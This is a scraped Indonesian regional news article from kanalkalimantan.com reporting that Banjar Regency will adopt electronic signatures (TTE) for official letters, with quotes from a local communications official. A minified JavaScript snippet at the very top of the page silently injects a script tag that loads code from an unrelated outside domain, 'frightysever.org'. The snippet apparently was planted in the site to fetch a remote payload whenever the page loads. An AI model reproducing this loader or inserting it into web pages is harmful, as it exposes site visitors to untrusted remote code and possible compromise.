(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar siap menerapkan tanda tangan elektronik (TTE) dalam surat-menyurat kedinasan.
Hal ini diutarakan Kepala Dinas Komunikasi, Informatika, Statistik dan Persandian (DKISP) Kabupaten Banjar HM Aidil Basith, di sela pembahasan draft rancangan Surat Keputusan Bupati Banjar tentang penerapan TTE di aula DKISP Kabupaten Banjar, Rabu (25/8/2021).
“Tanda tangan elektronik atau e-Sign terdiri atas informasi elektronik yang dilekatkan, terasosiasi atau terkait dengan informasi elektronik lainnya,” ujarnya.
Setiap sistem elektronik instansi yang membutuhkan persetujuan atau tanda tangan elektronik dari pejabat yang terkait akan mengirimkan dokumen elektronik kepada sistem tanda tangan elektronik.
Baca juga: 2 Tahun Akses ke Bandara Syamsudin Noor Sepanjang 150 Meter Belum Beraspal, Rawan Lakalantas!
Dijelaskan, Aidil Basith, sistem tanda tangan elektronik kemudian akan mengirimkan notifikasi ke perangkat yang digunakan oleh pejabat yang bersangkutan dan pejabat tersebut dapat menandatangani secara elektronik dokumen yang telah diterima.
Sama dengan tanda tangan manual, tanda tangan elektronik bersifat unik yakni tanda tangan elektronik seseorang akan berbeda dengan tanda tangan orang lain.
“Setiap orang yang membuat tanda tangan elektronik, maka harus melalui verifikasi oleh Badan Sertifikasi Elektronik atau BSrE,” jelas Basith.
Tanda tangan elektronik berfungsi sebagai alat untuk memverifikasi dan autentifikasi atas identitas penandatangganan sekaligus untuk menjamin keutuhan dan keautentikan dokumen. “Tanda tangan elektronik mempresentasikan identitas penandatanganan yang diverifikasi berdasarkan data pembuatan tanda tangan elektronik dimana data pembuatan tanda tangan elektronik dibuat secara unik yang hanya merujuk kepada penandatanganan,” bebernya.
Dikatakan Basith, penggunaan TTE akan mempermudah dalam urusan surat menyurat serta disposisi surat bisa lebih cepat dilakukan. Saat ini sudah beberapa pejabat eselon II di Pemkab Banjar yang memiliki TTE terverifikasi.
“Kita akan terus melakukan pengusulan secara bertahap, agar nantinya seluruh pejabat di Kabupaten Banjar memiliki TTE,” ujar Basith. (kanalkalimantan.com/mcbanjar)
Reporter: mcbanjar
Editor : kk</strong
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.